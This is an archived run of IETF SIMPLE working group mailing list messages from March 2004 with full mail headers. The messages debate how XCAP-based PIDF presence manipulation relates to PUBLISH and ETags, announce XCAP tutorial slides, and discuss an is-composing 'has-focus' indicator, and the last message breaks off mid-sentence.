Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95EC@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 09 Mar 2004 19:56:46.0375 (UTC) FILETIME=[A6F84B70:01C40610]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 14:00:26 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> What if a user changes other  soft tuples with XCAP.
> 
> It is my understanding that they cannot.
> 
> This is enforced because the presence documents published through 
> PUBLISH are simply not reflected into the xcap hierarchy.
> 
> >  
> > Will the server allow that?
> 
> No.

The current scope of the PIDF manipluation using XCAP is the entire PIDF XML document as well as presence extensions. There is nothing in the draft that says otherwise.
As far as PUBLISH is concerned, the draft 03 explitly says that the content type for a published presence event is the PIDF presence document.

Doesn't that imply that the indeed, per the current draft, published documents for presence events are indeed reflected in the xcap hierarchy, or have I missed something ?

And one more thing, all applications using XCAP should have the XML schema included in the usage draft for consistency and completness.
The list usage application had them there, the CPCP (XCON) were instructed to do. In this case they are not.

> 
> >  
> > Where in your draft you explain/discuss  how to handle those cases?
> >  
> > And what are the tuples in PIDF and other extensions that you 
> > consider *hard state* tuples.
> 
> That is a good question. I tend to think that a "hard state" document 
> would usually have a tuple representing the presentity 
> (contact-type = 
> presentity), and have rpid elements like <vacation> that apply to the 
> presentity and not a particular device.
> 
> Do we need to MANDATE that the hard state document is 
> constructed this 
> way? I dont think so, but thats certainly a point worth discussing.

If events that are published through PUBLISH, have an xcap hierarchy and can be changed through XCAP, then we will have further issues with versioning and the current usage of e-tags in XCAP and PUBLISH 
> 
> -Jonathan R.
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 15:13:47 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19928
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 15:13:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nbn-000356-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:13:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nb0-0002vb-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:12:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0na8-0002ko-00; Tue, 09 Mar 2004 15:12:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0na4-0006JV-2J; Tue, 09 Mar 2004 15:12:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nZK-00067A-BI
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 15:11:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19600
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:11:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nZH-0002aM-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:11:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nYJ-0002OE-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:10:12 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nXb-0002A6-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:09:27 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29K97Nr015169
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:09:07 -0500 (EST)
Message-ID: <404E2458.5080004@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] XCAP tutorial slides
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 15:08:56 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Folks,

I gave a 2 hour tutorial session during IETF 59 on XCAP. For those of 
you who would like to get a copy of the slides, they are available at:

http://www.jdrosen.net/papers/xcap-tutorial.ppt

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 15:14:19 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20046
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 15:14:19 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nbq-00071w-Kt
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 15:13:50 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29KDobQ027017
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 15:13:50 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nbq-00071f-D2
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 15:13:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19946
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 15:13:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nbp-00035J-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:13:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nb1-0002vk-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:13:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0na8-0002ko-00; Tue, 09 Mar 2004 15:12:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0na4-0006JV-2J; Tue, 09 Mar 2004 15:12:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0nZK-00067A-BI
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 15:11:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19600
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:11:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nZH-0002aM-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:11:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0nYJ-0002OE-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:10:12 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0nXb-0002A6-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:09:27 -0500
Received: from dynamicsoft.com ([63.113.46.66])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i29K97Nr015169
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:09:07 -0500 (EST)
Message-ID: <404E2458.5080004@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] XCAP tutorial slides
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 15:08:56 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Folks,

I gave a 2 hour tutorial session during IETF 59 on XCAP. For those of 
you who would like to get a copy of the slides, they are available at:

http://www.jdrosen.net/papers/xcap-tutorial.ppt

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 15:44:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22228
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 15:44:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o5v-0000Ub-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:44:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0o4y-0000L8-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 15:43:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o48-0000Bv-00; Tue, 09 Mar 2004 15:43:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0o45-0002QF-4I; Tue, 09 Mar 2004 15:43:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0o3u-0002Pq-2r
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 15:42:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22104
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:42:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o3s-0000A4-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:42:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0o2t-00000P-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:41:47 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o1w-0007XM-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:40:48 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i29KeBLc021027
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:40:11 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 9 Mar 2004 14:35:26 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYNL1CQ>; Tue, 9 Mar 2004 14:39:52 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95EE@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Ben Campbell'" <bcampbell@dynamicsoft.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 09 Mar 2004 20:35:26.0406 (UTC) FILETIME=[0DD0EE60:01C40616]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 14:39:08 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60



 
> Is this normative? Does xcap forbid this, are are we just 
> assuming that 
> servers will never do it?
> 

No it is not normative, and thats my problem, and thats why I started the thread to reflect that.
And if you now consider the E-tag usage within PUBLISH & XCAP for PIDF manipulation, you have a serious incomplete specification, and a serious alignment that needs to be undertaken.


 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  9 15:45:27 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22279
	for <simple-archive@odin.ietf.org>; Tue, 9 Mar 2004 15:45:27 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0o5z-0002cd-7v
	for simple-archive@odin.ietf.org; Tue, 09 Mar 2004 15:44:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i29KixEp010078
	for simple-archive@odin.ietf.org; Tue, 9 Mar 2004 15:44:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0o5z-0002cT-3x
	for simple-web-archive@optimus.ietf.org; Tue, 09 Mar 2004 15:44:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22249
	for <simple-web-archive@ietf.org>; Tue, 9 Mar 2004 15:44:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o5x-0000Uq-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:44:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0o4z-0000LJ-00
	for simple-web-archive@ietf.org; Tue, 09 Mar 2004 15:43:57 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o48-0000Bv-00; Tue, 09 Mar 2004 15:43:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0o45-0002QF-4I; Tue, 09 Mar 2004 15:43:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0o3u-0002Pq-2r
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 15:42:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA22104
	for <simple@ietf.org>; Tue, 9 Mar 2004 15:42:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o3s-0000A4-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:42:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0o2t-00000P-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:41:47 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0o1w-0007XM-00
	for simple@ietf.org; Tue, 09 Mar 2004 15:40:48 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i29KeBLc021027
	for <simple@ietf.org>; Tue, 9 Mar 2004 14:40:11 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 9 Mar 2004 14:35:26 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYNL1CQ>; Tue, 9 Mar 2004 14:39:52 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95EE@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Ben Campbell'" <bcampbell@dynamicsoft.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 09 Mar 2004 20:35:26.0406 (UTC) FILETIME=[0DD0EE60:01C40616]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 9 Mar 2004 14:39:08 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60



 
> Is this normative? Does xcap forbid this, are are we just 
> assuming that 
> servers will never do it?
> 

No it is not normative, and thats my problem, and thats why I started the thread to reflect that.
And if you now consider the E-tag usage within PUBLISH & XCAP for PIDF manipulation, you have a serious incomplete specification, and a serious alignment that needs to be undertaken.


 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  9 16:48:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00876
	for <simple-archive@ietf.org>; Tue, 9 Mar 2004 16:48:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p5s-0000J8-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 16:48:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p50-00009N-00
	for simple-archive@ietf.org; Tue, 09 Mar 2004 16:48:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p4G-0007mt-00; Tue, 09 Mar 2004 16:47:16 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p41-0006N6-MI; Tue, 09 Mar 2004 16:47:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0p3v-0006LX-6S
	for simple@optimus.ietf.org; Tue, 09 Mar 2004 16:46:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00674
	for <simple@ietf.org>; Tue, 9 Mar 2004 16:46:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p3t-0007kh-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:46:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0p30-0007ac-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:45:59 -0500
Received: from reliant.cs.columbia.edu ([128.59.16.60])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0p20-0007Qg-00
	for simple@ietf.org; Tue, 09 Mar 2004 16:44:56 -0500
Received: from reliant.cs.columbia.edu (localhost [127.0.0.1])
	by localhost (Postfix) with SMTP
	id 3B4674D080; Tue,  9 Mar 2004 16:43:20 -0500 (EST)
Received: from bear.cs.columbia.edu (bear.cs.columbia.edu [128.59.16.121])
	by reliant.cs.columbia.edu (Postfix) with ESMTP
	id 7A4D64D553; Tue,  9 Mar 2004 05:29:50 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i29AVLfG016772
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 9 Mar 2004 05:31:22 -0500
Message-ID: <404D9CF2.9010801@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu> <404D6702.1080701@dynamicsoft.com>
In-Reply-To: <404D6702.1080701@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 4.5.0.92886, Antispam-Core: 4.0.4.92622, Antispam-Data: 2004.3.9.93811
X-PerlMx-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __USER_AGENT 0, X_ACCEPT_LANG 0, __MIME_VERSION 0, __TO_MALFORMED_2 0, __REFERENCES 0, __IN_REP_TO 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0, USER_AGENT 0.000'
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 09 Mar 2004 05:31:14 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Jonathan Rosenberg wrote:

> Firstly, "has-focus" is probably a bad name, since its dangerously close 
> to "is-focus" which means something entirely different in the SIP 
> specifications...

We have another "session" word :-)

> 
> Secondly, does this really provide useful information? Just because the 
> window doesnt have focus doesnt mean I'm not paying attention. Indeed, I 
> frequently look at another window while a user is typing to me (often 
> another IM conversation). Or, to ask more concretely, how would a user 
> change their behavior in knowing that my IM window didnt have focus?

Probably mostly the converse: if the IM application doesn't have focus 
and I don't get any response, it may well be that my counterpart is 
distracted.

The problem is similar to <idle>: it's an observation that approximates 
